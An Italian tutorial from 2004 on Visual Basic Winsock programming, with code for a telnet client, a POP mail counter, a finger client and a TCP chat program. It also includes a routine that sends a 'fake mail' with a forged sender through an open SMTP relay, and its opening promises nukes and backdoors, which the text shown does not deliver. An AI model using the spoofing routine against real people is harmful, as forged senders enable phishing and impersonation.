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La programmazione del winsock, Master
.: Data Pubblicazione 03-Nov-2004 :: Letture:: 2040 :: Recensione :: Stampa solo questa pagina :: Stampa pagina con tutte le sottopagine:.
Cosa sarete in grado di fare (molto semplicemente) leggendo questo articolo:
 
   Sarete in grado di fare (nel giro di 10 minuti) un programma per:
  
    Spedire una mail (o una fake)
    Un telnet casalingo
    Un netcat con tre righe di programma
    Un programma per leggere la posta sul pop server
    Un programma per dare una preview delle mail sul pop
    Leggere un newsgroup
    Fare un finger o un whois
    Fare un programma per le chat personali via rete tipo ICQ
    Mandare una nuke, o proteggersi da una nuke.
    Creare un robot per cancellare determinati messaggi su un ng
    Creare un filtro sul vostro server per prevenire un mail bombing
    Fare una backdoor o in alternativa fare un programma per 
      proteggersi dalle backdoor tipo il bopsy.
    ecc...

  Vi sembra troppo?
  Chissa' quale abilita' programmatoria serve?  ;-)
  
  Sbagliato!.. e' semplicissimo! ..e ognuno dei programmi sopra elencati non
  supera le 20 righe di programma se si evitano fronzoli grafici inutili
  e si va invece sul sostanziale. 

  Non serve usare API, non serve una particolare esperienza come programmatore,
  non serve probabilmente qualcosa in piu' di quello che gia avete come
  supporto software.

  Serve invece una minima conoscenza sull'uso di telnet... solo per sapere come
  impostare le procedure.
   
premessa:

 Di solito anche chi ha raggiunto un buon livello di preparazione relativamente
ai linguaggi 32b e visual si blocca irrimediabilmente quando si tratta di usare
delle procedure per leggere o spedire dati attraverso la rete. Cio' e' dovuto
principalmente al fatto che gli strumenti per farlo sono spesso presentati
in maniera contorta o (peggio) tanto contornati da istruzioni ridondanti e
inutili da far apparire la cosa impraticabile se non dopo uno studio
approfondito di mesi su manuali introvabili e documentazione altamente
specializzata.
 Ebbene tutto cio' non e' assolutamente vero. E' vero che programmare con le
ras api (le procedure a basso livello tipiche del sistema windows specifiche
per le connessioni) non e' semplice, e' vero che una approfondita conoscenza
dei protocolli di rete sarebbe la via tecnicamente migliore, e' vero che gli
ocx dedicati alle connessioni sono spesso corredati da -esempi- molto belli
e efficaci da provare ma che poi alla fine risultano piu' complessi da capire
che non studiarsi gli help allegati.. ma e' anche vero che esiste
un ocx col quale e' possibile fare veramente di tutto senza doversi
preoccupare di trovare particolari info o far conto su particolari abilita'
programmatorie.
Questo ocx e' il winsock.  rwinsock.ocx, mswinsck.ocx, winsck.ocx .. 
sono praticamente tutti quanti la stessa cosa e offrono tutti lo stesso
prodotto dalla prima all'ultima versione. (per i nostri scopi anche un
vecchio winsock.ocx versione 1 trito e ritrito va piu' che bene!!!)
Lo si trova di base in versione aggiornata con gli intranet activex, con
explorer, caricando un qualunque linguaggio visual tipo il vb, il C++ o
il delphi.
 
 [  Per comodita' prendero' ad esempio il winsck.ocx degli intranet e il
    linguaggio visual basic che piu' o meno tutti conoscono ed usano. ]

 Come tutti i controlli ocx anche questo e' un'insieme di procedure che
 automatizzano l'uso
 di diverse api tramite una semplice chiamata di programma.
 Prima di usarlo e' necessario aprire un form per il proprio programma e
 selezionare il controllo sotto progetto/componenti nel VB. Si chiama
 Netmanage Winsock control il winsck.ocx specifico degli intranet activex
 6 control.
 Il Microsoft Winsock Control mswinsck.ocx al limite va bene lo stesso
 (meglio il netmanage!)

 Sulla barra dei controlli appariranno due calzini bianchi, uno con
scritto TCP per leggere en inviare dati su questo protocollo e uno con
scritto UDP .. ovviamente per leggere ed  inviare dati su quell'altro.

 UDP e' un protocollo che ha delle caratteristiche diverse da TCP e
soprattutto dei diversi sistemi tramite i quali comunicare dati
attraverso la rete.
 Il TCP ad esempio permette la connessione fisica tra due indirizzi
IP, un po' come se chiamaste un amico al telefono, anche se nessuno
parla la connessione c'e' comunque.

 Su UDP invece non funziona cosi'.. i dati vengono spediti da un IP e
vengono ricevuti solo se dall'altra parte c'e' qualcosa in grado di
leggerli su una determinata porta; nel caso non ci sia invio di dati
non e' presente alcuna connessione effettiva.

 Qal'e' tutta questa differenza?.. mah..ad esempio che collegandosi
via TCP ad un IP2 quest'ultimo e' in grado di monitorare (con netstat
ad esempio) il fatto che qualcuno sia in diretto collegamento (IP1) e
pronto ad inviare qualcosa, questo e' dovuto principalmente al 
 fatto che IP2 ha dovuto inizialmente porsi in ascolto tramite un
winsock.LISTEN (ascolta) per poter ricevere dati ed aprire per
questo una specifica porta.

 Nel caso di UDP sarebbe stato sufficiente per IP2 attendere tramite un
evento specifico (invio dati da IP(n) su UDP porta x) i dati inviati
da IP1 e riceverli dentro una variabile stringa esattamente nel
momento in cui arrivavano; in questo caso netstat non avrebbe potuto
 monitorare in precedenza all'invio dei dati una connessione che ancora
non era avvenuta di fatto
 con IP1. 
 
 Ad ogni buon conto (e passiamo alla parte pratica.. quella teorica sopra tanto non vi serve
 proprio a nulla!) per i nostri scopi base useremo soltanto il TCP.

 Prima di cominciare bisogna che vi spieghi il fatto principale.. la cosa che vi rendera'
 la programmazione del winsock facilissima.
 E' una cosa molto semplice ma che stranamente non si trova scritta da nessuna parte:
 Il winsock altro non e' (in pratica) che un TELNET .. che potete usare direttamente dentro
 i vostri programmi.. dando gli stessi comandi che date su telnet ed avendo in risposta le
 stesse stringhe di testo che ricevete solitamente. 
 vi dimostero' questo facendovi vedere come e' possibile col winsock costruirsi un telnet
 personale in 10 secondi netti (col visual basic) scrivendo solo 5 linee di programma ed
 avendo per contro un tool dalle STESSE identiche caratteristiche del telnet della microsoft.
 (forse meglio.. visto che ve lo siete fatti da soli! ;-) )

 Devo anche sottolineare una cosa importante, e' fondamentale conoscere le procedure basilari
 per fare su telente cio' che si vuol fare sul proprio programma.

  Ovvero sapere che per spedire una mail con telnet bisogna connettersi ad un server mail
 (possibilmente dotato di relay! ;-) )  alla porta 25, quindi inviare un comando HELO,
 poi MAIL FROM:, RCPT TO .. ecc...
 Bisogna sapere che per leggere la posta bisogna collegarsi al proprio POP, dare i comandi
 USER e PASS (seguiti dal proprio user e pass), LIST per vedere la lista dei messaggi presenti
 RETR n per leggerne uno, DELE n per cancellarlo ecc..
 Insomma.. do per scontato che queste cose le conoscete gia bene, comprese le procedure per 
 leggere e spedire messaggi su un news group di un determinato news server.   
 
 La -buona- conoscenza di queste sistematiche rendera' il vostro lavoro di programmazione
 immediato e addirittura banale.

 Cominciamo con la pratica:  (finalmente!) ;-))

  Farsi un telnet in casa:

 Come funziona telnet? .. semplice:
 
 1. ci si collega ad un server per sfruttare un determinato servizio
 2. si setta la porta giusta (25 sendmail, 110 pop, 119 news, 79 finger ecc...)
 3. si inviano i comandi specifici
 4. si leggono sulla finestra di dialogo le risposte del server
 5. finito si chiude la connessione e si va a mangiare qualcosa di dolce. hi hi hi

 Come si fa questo col winsock ? ... allo stesso modo!

 1. ci si connette al server settando la porta giusta    

           winsock.connect "nome del server",porta
  
 2. si inviano i comandi specifici

            winsock.senddata Stringa_con_i_dati & VbCrLf

      (VbCrLf e' l'aggiunta dei caratteri ascii 13+10 ..equivale a premere ENTER)

 3. si leggono le risposte del server

            winsock.getdata Stringa_dove_vanno_le_risposte, VbString

      (VbString dice che al vinsock che la variabile Stringa_dove_vanno_le_risposte
       contiene dati alfanumerici)
       questa istruzione andra' inserita in una procedura con l'evento DataArrival
      ovvero:

     Private Sub winsock_DataArrival(ByVal bytesTotal As Long)
        winsock.GetData Dalserver, vbString
      End Sub

     Praticamente e' una procedura che voi scrivete e che si attiva tutte le volte 
     che dal server vengono inviati dei dati.

     E' utili sia per visualizzare le risposte che per controllare (facendo una verifica
     sulle stringe ricevute) possibili errori o settare parametri a noi utili.

 4. si chiude la connessione quando si e' finito.

            winsock.close



  Il programma e' questo in pratica:
  
  Aprite un form con due caselle di testo. Alla prima (text1) ci scrivete accanto una label
  -Host remoto- alla seconda (text2) ci scrivete -porta- 
  (avete portato sul form il controllo Netmanage winsock si!? ;-))
  
  Aprite due pulsanti, sul primo (command1) ci scrivete  CONNETTI, sul secondo DISCONNETTI.
  
  Aprite un altra casella di testo  (text3) un po' lunga in fondo al form con a fianco un
  bottone (command3) con scritto sopra INVIA.
  (I comandi andranno scritti dentro questa casella e inviati tramite invia)

  Aprite l'ultima casella di testo (text4) abbastanza grande perche' su questa verranno 
  scritti i messaggi in arrivo dal server.

  una cosa cosi':

  +--------------------------------------------------------------------------------------+
  |              _______________________           _______    ________   ___________     |
  | Host Remoto |Text1__________________|  Porta  |Text2__|  |CONNETTI| |DISCONNETTI|    |
  |  __________________________________________________________________________________  |
  | |Text4                                                                             | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |                                                                                  | |   
  | |__________________________________________________________________________________| |
  |  _______________________________________________________________________   _______   | 
  | |Text3__________________________________________________________________| | INVIA |  |
  |______________________________________________________________________________________|


  Il programma e' tutto qui:

--------------------------------------------------------
 Private Sub Command1_Click()
  TCP1.Connect Text1, Text2
 End Sub

 Private Sub Command2_Click()
  TCP1.Close
 End Sub
 
 Private Sub Command3_Click()
  Text4 = Text4 & Text3 & vbCrLf
  TCP1.SendData Text3 & vbCrLf
 End Sub

 Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  Text4 = Text4 & Dalserver
 End Sub
--------------------------------------------------------

 
   Strabiliante eh? ;-) .. 

 Se si escludono le linee di dichiarazione delle procedure.. il programma e' in tutto 
 5 misere righe.

 (Deriva dal fatto che il winsock appunto e' il vostro telnet nascosto personale) :))

 Spiegazione:  TCP1 (e' il nome che il winsock attribuisce al controllo di default quando
 tirate il medesimo sul form.. lo potete richiamare winsock o tenere TCP1.. non fa differenza)

 La prima procedura viene richiamata premendo il tasto CONNETTI.
 Si connette al server il cui nome e' scritto nella casella di testo text1 alla porta 
 scritta nella casella di testo text2.

 La seconda procedura vi disconnette dal server quando premete DISCONNETTI.

 La terza procedura invia al server tutto quello che trova scritto nella casella di testo
 text3 aggiungendo i caratteri CHAR(13)+ChAR(10) = NewLINE .. come se aveste premuto ENTER
 di seguito su telnet.
 Text4 = Text4 & Text3 & vbCrLf  serve a visualizzare sulla finestra text4 di seguito
 alle risposte del server anche le linee che avete inviato.

 La quarta procedura sta li.. buona buona.. se ne sta in silenzio senza fare nulla fino a 
 quando il server non vi invia qualche dato, un errore o una risposta in generale.
 Allora la procedura con l'evento DataArrival si attiva, importa tutti i dati in arrivo dal
 server dentro la variabile Dalserver (che viene dichiarata appunto come Stringa = VbString)
 e visualizza i dati sulla casella di testo Text4.
 Text4=Text4 & Dalserver .. fa in modo di aggiungere i dati di seguito a quelli gia ricevuti
 tanto da avere una lista completa esattamente come sul telnet originale.

 Compilate il programma e provate ad usarlo, vedrete che e' esattamente un telnet.
 Si potevano aggiungere altre cose.. una gestione degli errori e una migliore 
 interfaccia utente.. ma lo scopo di questo articolo e' quello di mostrare solo
 l'essenziale; al 'catenaccio' ci penserete da soli. ;-)
   
 Uno attento gia' si immagina di poter fare con questo piccolo esempio tutto quello che vuole
 compresi tutti i programmi citati nella lista sopra. Ed e' vero!
 
 Manca solo qualche finezza concettuale che e' importante implementare.
 
 L'esempio sopra infatti non considera un problema abbastanza rilevante che si potrebbe 
 presentare durante l'invio o la lettura di una mail .. ma ancor piu' durante l'invio o 
 la lettura di un news group: 

        -->   i tempi di risposta del server!

 Facciamo un primo esempio brutale di invio mail.

  Vogliamo inviare una fake mail all'indirizzo mio@amico.it facendo finta di essere 
  il signor pippo@de.pippi, avendo come subject "PROVA" e come testo "TE LO MANDO IO".
  
 Sara' necessario trovarsi un bel smpt server col relay.. per provare va bene il proprio.

 come si farebbe con telnet?

 1. ci si collega all'smtp server (mettiamo sia mail.server.it) porta 25
 2. si da il RSET 
 3. HELO seguito da un nome qualsiasi (o un IP falso magari 'esistente')
 4  MAIL FROM: pippo@de.pippi
 5  RCPT TO: mio@amico.it
 6  DATA 
 7  Subject: PROVA
 9  TE LO MANDO IO 
 10 .  (un punto e INVIO per confermare la spedizione)

 col winsock e' la stessa cosa. L'unico problema e che dando le istruzioni di seguito 
 sul visual basic (come su un altro programma del resto!) :

  TCP1.SendData "RSET" & VbCrLf  
  TCP1.SendData "HELO ciao" & VbCrLf 
  TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf 
  ...

 non si da tempo al server di confermare i comandi, percui ci si troverebbe ad esempio
 a spedire il MAIL FROM: prima della conferma del comando HELO e quindi si avrebbe errore.
 E' necessario allora aspettare n secondi per effettuare l'invio di un comando per aspettare
 la conferma del precedente.
 Non si sa in anticipo quanto impieghera' il server a 'confermare'.. dipende da troppe variabili:
 traffico sulla rete, velocita' momentanea della connessione, ecc...
 (poi spieghero' come inviare un comando esattamente un istante dopo la conferma di quello
  precedente! ;-))
 Per adesso limitiamoci a creare una procedura che dia un certo ritardo nella esecuzione dei
 comandi per dare 'respiro' al server.

 la chiameremo DELAY ( in C gia c'e' SLEEP .. in visual basic bisogna farsela)

 Privare Sub Delay(n)
  S = Timer
  Do While Timer < S + n
   DoEvents
  Loop
 End Sub

 con Delay(3) l'esecuzione del programma si blocca per 3 secondi.
 DoEvents server per far si che cmq tutti gli altri comandi siano disponibili durante
 il tempo d'attesa. Senza DoEvents il programma si bloccherebbe per tutto il tempo 
 impostato.

 Diciamo che 6 secondi di attesa per la conferma di ogni comando sono un tempo piu' che
 sufficiente nella maggior parte delle situazioni.

 il programma allora dovra' essere strutturato cosi'

-----------------------------------------------------
 Private Sub  spedisci()
   TCP1.Connect "mail.server.it",25
   Delay(6)
   TCP1.SendData "RSET" & VbCrLf  
   Delay(6)
   TCP1.SendData "HELO ciao" & VbCrLf 
   Delay(6)
   TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf 
   Delay(6)
   TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf 
   Delay(6)
   TCP1.SendData "DATA" & VbCrLf 
   Delay(6)
   TCP1.SendData "Subject: PROVA" & VbCrLf  
   Delay(6)
   TCP1.SendData "TE LO MANDO IO" & VbCrLf  
   Delay(6)
   TCP1.SendData "." & VbCrLf  
   Delay(6)
   TCP1.close
End Sub
 Privare Sub Delay(n)
  S = Timer
  Do While Timer < S + n
   DoEvents
  Loop
 End Sub
------------------------------------------------------


  praticamente si impiegano 9 linee di ritardo di 6 secondi per un totale di quasi un minuto
 di tempo per spedire una mail.. ma l'importante e' che funzioni. ;-)

 Vediamo adesso come fare per inviare i comandi nel tempo piu' breve possibile sfruttando
 le risposte del server.

 Si manda un comando.. quando il server  risponde qualcosa vuol dire che l'ha accettato
 e si puo' inviare il successivo.

 Serve sempre la monitorizzazione offerta dall'evento DataArrival (L'unica cosa utile
 assieme ai comendi xxx.connect, xxx.senddata e xxx.getdata

 Il programma base e' lo stesso..

  si aggiunge la definizione della variabile "ricevi" in testa al sorgente

 DIM ricevi as string (in modo che ricevi non sia un valore valido per tutte le procedure.)

  si aggiunge in fondo al sorgente la procedura

 Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  ricevi = Dalserver
 End Sub
 
   che mette nella variabile pubblica ricevi le risposte del server 
 
  e si cambia la procedura delay con questa

 Private Sub delay()
 Do While ricevi = ""
 DoEvents
 Loop
 End Sub

  cioe' .. delay = aspetta fino a quando non ricevi una risposta! ;-)


 quindi il programma completo sara' cosi':


 ----------------------------------------------------

Dim ricevi as String
Private Sub  spedisci()
   TCP1.Connect "mail.server.it",25
   Delay
   TCP1.SendData "RSET" & VbCrLf  
   Delay
   TCP1.SendData "HELO ciao" & VbCrLf 
   Delay
   TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf 
   Delay
   TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf 
   Delay
   TCP1.SendData "DATA" & VbCrLf 
   Delay
   TCP1.SendData "Subject: PROVA" & VbCrLf  
   Delay
   TCP1.SendData "TE LO MANDO IO" & VbCrLf  
   Delay
   TCP1.SendData "." & VbCrLf  
   Delay
   TCP1.close
End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  ricevi = Dalserver
End Sub

Private Sub delay()
 Do While ricevi = ""
 DoEvents
 Loop
End Sub

 ----------------------------------------------------

  Con questa piccola finezza (che dovra' essere uguale anche per tutti gli altri programmi
 che si progetteranno) si velocizzano le procedure rispetto alle linee di ritardo di almeno
 10 volte.



  Un altro esempio.. usando subito il nuovo delay costruito appositamente.
 Facciamo un programma che legga dal nostro pop server quante mail abbiamo in parcheggio.
 (Modificarlo per cancellare mail contenenti in una qualunque parte determinate parole
 o per fare una preview di tutti i messaggi sara' molto semplice)

 Come si farebbe con telnet per verificare quante mail abbiamo sul serer pop?

 1. Ci si connette al nostro pop (mettiamo sia mail.pop.it) porta 110 
 2. si invia il comando USER 
 3  PASS 

 a questo punto il server risponde con una riga di benvenuto indicante all'interno 
 una frase tipo  ... has xx message(s) ...
 xx e' il numero di messaggi presenti.
 
 La stringa di risposta del server sara' una stringa che avremo prelevato tramite il 
 solito evento DataArrival (mettiamo si sia chiamata -ricevi-)
 
 Il numero di messaggi quindi sara' la parte di stringa ricevi che va da

 inizio = instr(1,ricevi,"has")+4  (inizio della parola "has" nella stringa + 4)
 
 a

 fine = instr(1,ricevi,"message")-1 (inizio della parola "message" - 1)

  dati dal server pop   ...... has nnn message ....... 
                                   |  |
                            inizio/    fine    

      lunghezza di nnn=fine-inizio

 si potra' dire allora che trovata la stringa -ricevi- di ritorno dal server
 il numero di messaggi presenti (utile poi per leggerli tutti con un ciclo for
 tanto per fare un esempio) si potra' trovare con

  inizio = InStr(1, ricevi, "has") + 4
  fine = InStr(1, ricevi, "message") - 1
  nm = Mid$(ricevi, inizio, fine - inizio)

 nm= numero di mail presenti sul server.


 Vediamo il programma in pratica.

  programma "scheletrico":

 Qaunte mail ci sono sul pop server mail.pop.it per lo USER pippo , PASSWORD topolino ?

---------------------------------------------------------
 Dim ricevi As String
 
 Private Sub Trovamail()
  TCP1.Connect "mail.pop.it", 110
  ricevi = "": delay
  TCP1.SendData "USER pippo" &  vbCrLf
  ricevi = "": delay
  TCP1.SendData "PASS topolino" & vbCrLf
  ricevi = "": delay
  inizio = InStr(1, ricevi, "has") + 4
  fine = InStr(1, ricevi, "message") - 1
  nm = Mid$(ricevi, inizio, fine - inizio)
 
 ' Dentro nm ci sta il Numero di mail trovate 

End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  ricevi = Dalserver
End Sub


Private Sub delay()
 Do While ricevi = ""
  DoEvents
 Loop
End Sub
---------------------------------------------------------


  Vogliamo provare lo stesso programma leggermente piu' raffinato .. sulla base del 
 quale poter poi costruire magari un gestore di POP con filtri e tutto il resto? ;-)

 Proviamo col solito FORM tipo quello del telnet.

 Aggiungiamo solo una Label per lo Status del programma (label1)
 e due text box per inserire la password e lo user.

  +--------------------------------------------------------------------------------------+
  |              _______________________           _______    ________   ___________     |
  | Host Remoto |Text1__________________|  Porta  |Text2__|  |CONNETTI| |DISCONNETTI|    |
  |              ____________   _______________________________________________________  |
  |        User |Text5_______| |Label                                                  | |
  |              ____________  |                                                       | |
  |    Password |Text6_______| |_______________________________________________________| |
  |  __________________________________________________________________________________  |
  | |Text4                                                                             | |   
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  | |__________________________________________________________________________________| |
  |  _______________________________________________________________________   _______   | 
  | |Text3__________________________________________________________________| | CERCA |  |
  |______________________________________________________________________________________|

  In questo caso 
  
   CONNETTI = Command1
   CERCA = Command2
   DISCONNETTI = Command3
   Label = Label3

  Il programma permette di inserire il pop server desiderato, uno user e una pass a piacere
  e trova il numero di messaggi presenti che viene stampato su Label.

  Cerca potrebbe (lascio a voi fare il seguito)
 
  1. scorrere tutti i messaggi con RETR da 1 a nm (trovato prima) (il messaggio volta volta
  finisce dentro "ricevi" con questo programma) e cancellare (con DELE) quelli non desiderati.
  Killando IP -segnalati-, Subject multipli, o mail da nick di persone indesiderate.

  2. scorrere tutti i messaggi con RETR e visualizzare su text4 tutti i subject e un paio
  di righe del body.. tanto per vedere se c'e' qualcosa di interessante per la quale
  aprire Outlook o Agent. ;-)

  3..varie ed eventuali.


  Il programma e' questo:

 ------------------------------------------------------------------ 
 
Dim ricevi As String

Private Sub Command1_Click()
 TCP1.Connect Text1, Text2
 ricevi = "": delay
 Label3 = "Connessione aperta, invio USER"
 TCP1.SendData "USER " & Text5 & vbCrLf
 ricevi = "": delay
 Label3 = "Invio PASSWORD"
 TCP1.SendData "PASS " & Text6 & vbCrLf
 ricevi = "": delay
 inizio = InStr(1, ricevi, "has") + 4
 fine = InStr(1, ricevi, "message") - 1
 nm = Mid$(ricevi, inizio, fine - inizio)
 Label3 = "Numero di mail trovate = " & nm
End Sub

Private Sub Command2_Click()
 Label3 = "Invio dei dati"
 Text4 = Text4 & Text3 & vbCrLf
 TCP1.SendData Text3 & vbCrLf
End Sub

Private Sub Command3_Click()
 TCP1.Close
Label3 = "Connessione chiusa"
End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
  Label3 = Str$(bytesTotal) & " Bytes di dati in arrivo dal server " & Text1
  TCP1.GetData Dalserver, vbString
  Text4 = Text4 & Dalserver
  ricevi = Dalserver
 End Sub

Private Sub Text3_Click()
 Text3 = ""
End Sub

Private Sub delay()
Do While ricevi = ""
DoEvents
Loop
End Sub

 ------------------------------------------------------------------ 

  Semplice no!? .. un esempio di miglioria all'interfaccia utente e' la procedura

Private Sub Text3_Click()
 Text3 = ""
End Sub

  dice solo che quando vi posizionate col mouse su text3 (riga di editing dei comandi)
 e ci cliccate sopra il testo precedentemente inserito scompare... altrimenti avreste dovuto
 cancellarlo con seleziona e delete.. una palla! ;-)


 Altro esempio .. volete fare un finger su un server con tre righe di programma?
 (TRE sul serio .. non tanto per dire!)

 Come non si puo!?.. si puo, si puo! ;-)

 
  Provate un po' cosi':

  +------------------------------------------------+
  |              _______________________   ______  |
  | Host Remoto |Text1__________________| |FINGER| |
  |  ___________________________________________   |
  | |Text2                                      |  |
  | |                                           |  |   
  | |                                           |  |   
  | |                                           |  |   
  | |                                           |  |   
  | |                                           |  |   
  | |                                           |  |   
  | |___________________________________________|  |   
  |________________________________________________|

 FINGER = Command1

 

il programma e' questo:

-----------------------------------------------------------

Private Sub Command1_Click()
 TCP1.Connect Text1, 79
End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
  TCP1.GetData Dalserver, vbString
  Text2 = Text2 & Dalserver
End Sub

-----------------------------------------------------------

 .. non serve neanche il disconnetti perche' sia che il finger ci sia, sia che non ci sia,
 il server vi sconnette automaticamente appena finito il lavoro.

    
 

 Ultimi esempio .. leggermente piu' complessi .. ma poco. ;-)

 Farsi una linea Chat privata per dialogare via rete con un amico.

 Qui bisogna introdurre un altra funzione del winsock (una sola). La funzione .listen.
 Con LISTEN ci si mette in ascolto su una determinata porta dichiarata tramite .localport.

 winsock .. anzi  TCP1.localport 31337
                  TCP1.listen

 sono le due funzioni che permettono al nostro programma di starsene in attesa ad aspettare
 dati sulla porta 31337. (ricorda qualcosa? .. mah.. ;-).. cmq per adesso anche se ricorda
 qualcosa non e' possibile fare nulla, stiamo parlando di protocollo TCP e la cosa
 rammentata da  quella porta tanto strana va invece su protocollo UDP)

  La chat replica in pratica quella che si potrebbe ottenere sfruttando netcat e leggendo 
 un mio precedente manuale che riporta quanto segue:

 NETCAT ...

 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 CHAT ANONIMA PERSONALE CON UN ALTRO UTENTE

  ogni persona deve aprire due form DOS (due shell o come preferite) 

  la PERSONA 1 deve digitare:
    nc -l -p  -v                       (ascolta e vede sulla porta 1)
    nc      (manda i caratteri sulla porta 2)

  la PERSONA 2 invece:
   nc -l -p  -v                       (ascolta e vede sulla porta 2)
   nc      (manda i caratteri sulla porta 1)

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 Praticamente ogni persona si trova aperti sul proprio desktop due form con due netcat
 diversi .. uno serve per ricevere i dati, l'altro per inviarli.

 Col winsock e' uguale ma ancora piu' semplice.

 Basta creare un programma che funga sia da trasmettitore (il client) che da ricevitore 
 (il server). Una persona quindi dovra' aprire UN solo programma di questi e dichiarare
 di essere il server .. l'altro fara' lo stesso dichiarando (dopo il primo) di essere il 
 client. Il client si colleghera' col server come in una connessione telefonica e si potra'
 iniziare a spedire i rispettivi dati.
 Visto che parliamo di chat si presuppone che i dati siano del 'testo' ovviamente.

 Facciamo un form cosi':

 +---------------------------------------------------------+
 |       _____________    _______   ______________________ |  
 | Host |HOST_________|: |porta__| |Label1________________||
 | ___________________________________________  __________ |
 ||LEGGI                                      ||_CONNETTI_||
 ||                                           ||_ASCOLTA__||
 ||                                           |            |
 ||                                           | __________ |
 ||___________________________________________||_TERMINA__||
 | ___________________________________________  __________ |
 ||Comandi____________________________________||__INVIA___||
 |_________________________________________________________| 

 dove:

  Host = casella di testo con nome  "host"
  Comandi = casella di testo con nome "comandi"
  Label1 = label con nome "Label1"
  porta = casella di testo con nome "porta"
  
  CONNETTI = pulsante con caption "connetti" e nome "connetti"
  ASCOLTA = pulsante con caption "ascolta" e nome "ascolta"
  INVIA = pulsante con caption "invia" e nome "invia"
 
 fa eccezione 

TERMINA = pulsante con caption "termina" e nome "disconnetti"

 ma e' per rendere il listato piu' chiaro. ;-)


 Il programma e' questo:

---------------------------------------------------------------------------
   
Private Sub CONNETTI_Click()
    Label1.Caption = ""
    If (TCP1.State <> sckClosed) Then TCP1.Close
    TCP1.LocalPort = 0
    TCP1.Connect Host, Val(porta)
End Sub

Private Sub DISCONNETTI_Click()
    Label1.Caption = "Verifica del collegamento : INATTIVO"
    TCP1.Close
End Sub

Private Sub ASCOLTA_Click()
    Label1.Caption = "  Sono in ascolto! "
    TCP1.LocalPort = Val(porta)
    TCP1.Listen
End Sub

Private Sub INVIA_Click()
a$ = comandi
LEGGI = "I>" & a$ & vbCrLf & LEGGI
TCP1.SendData a$
End Sub

Private Sub TCP1_Close()
    Label1.Caption = "Verifica del collegamento : INATTIVO"
    TCP1.Close
End Sub

Private Sub TCP1_Connect()
    Label1.Caption = "Collegamento effettuato e ATTIVO"
    Host = TCP1.RemoteHost
End Sub

Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
    If (TCP1.State <> sckClosed) Then TCP1.Close
    TCP1.LocalPort = 0
    TCP1.Accept requestID
    Label1.Caption = "Collegamento effettuato e ATTIVO"
    Host = TCP1.RemoteHostIP
End Sub

Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
    Dim Data As String
    On Error Resume Next
    TCP1.GetData Data
    LEGGI = "R>" & Data & vbCrLf & LEGGI
End Sub

Private Sub comandi_Click()
 comandi = ""
End Sub


---------------------------------------------------------------------------


  piu' piccolo di cosi' non si puo' fare!  
 una trentina di righe mi sembrano comunque veramente poca cosa per il risultato ottenuto.

 Per fare le prove basta aprirne due sul proprio computer, mettere 127.0.0.1 come host e
 la stessa porta in ambedue i form, vi connetterete quindi con voi stessi in locale senza 
 dover spendere nulla per la 'sperimentazione'.

 E' necessario ovviamente mettersi PRIMA in ascolto su un programma chiamando ASCOLTA
 e poi connettersi con l'altro programma chiamando CONNETTI.
 La stessa procedura dovra' essere usata in rete. L'amico che ricevera' copia del 
 programma bastera' che si metta in ascolto selezionando semplicemente una porta a piacere.
 Voi dovrete invece connettervi selezionando la stessa porta ma mettendo anche il suo IP nella
 casella HOST.


 Analizziamo il programma procedura per procedura:

Private Sub ASCOLTA_Click()
    Label1.Caption = "  Sono in ascolto! "
    TCP1.LocalPort = Val(porta)
    TCP1.Listen
End Sub


 come detto in precedenza  apre una porta sul computer in locale tcp1.localport 
 e si mette in ascolto: tcp1.listen.

 ho aggiunto label per fornire agli utenti delle semplici informazioni sullo stato della
 connessione. Quando uno si connette dice se il collegamento e' avvenuto o meno, dopo il 
 listen dice: "sono in ascolto" .. e via cosi'. Non serve a niente ma fa il tutto piu'
 interessante. ;-))

 
Private Sub CONNETTI_Click()
    Label1.Caption = ""
    If (TCP1.State <> sckClosed) Then TCP1.Close
    TCP1.LocalPort = 0
    TCP1.Connect Host, Val(porta)
End Sub


  Anche questa e' una cosa gia nota.
  Si setta la localport a zero TCP1.Localport, 0
  poi ci si connette.
  TCP1.connect (ip prelevato dalla casella di testo host), (porta prelevata dalla casella porta)

  L'unica cosa eccentrica e' la linea con la condizione logica:
  Serve perche' nel caso il server si sconnetta il client possa sconnettersi automaticamente
  a sua volta.
  TCP1.state da infatti un valore numerico che rappresenta lo stato della connessione.

   AGGIUNTA:

  Se l'altro non e' in ascolto quando ci si connette si ha un errore.. 
  si potrebbe quindi aggiugere una procedura per la dichiarazione degli errori 
  durante l'invio dei dati o il collegamento.
  Il winsock ha un evento apposito per questo: _Error

  Vi faccio un esempio anche se in pratica per gli scopi di questo articolo 
  il tutto e' decisamente inutile:

-------------------------------------------
 Private Sub TCP1_Error(Number As Integer, Description As String, Scode As Long, Source As
String, HelpFile As String, HelpContext As Long, CancelDisplay As Boolean)
    Label1.Caption = "ERRORE -> " & Description
    TCP1.Close
End Sub
-------------------------------------------
  giusto per dare qualche ritocco. ;-)



Private Sub DISCONNETTI_Click()
    Label1.Caption = "Verifica del collegamento : INATTIVO"
    TCP1.Close
End Sub


 Questa non necessiterebbe di spiegazioni.
 Chiude la connessione alla pressione del pulsante TERMINA (disconnetti) 
 con TCP1.close

Private Sub INVIA_Click()
a$ = comandi
LEGGI = "I>" & a$ & vbCrLf & LEGGI
TCP1.SendData a$
End Sub

  
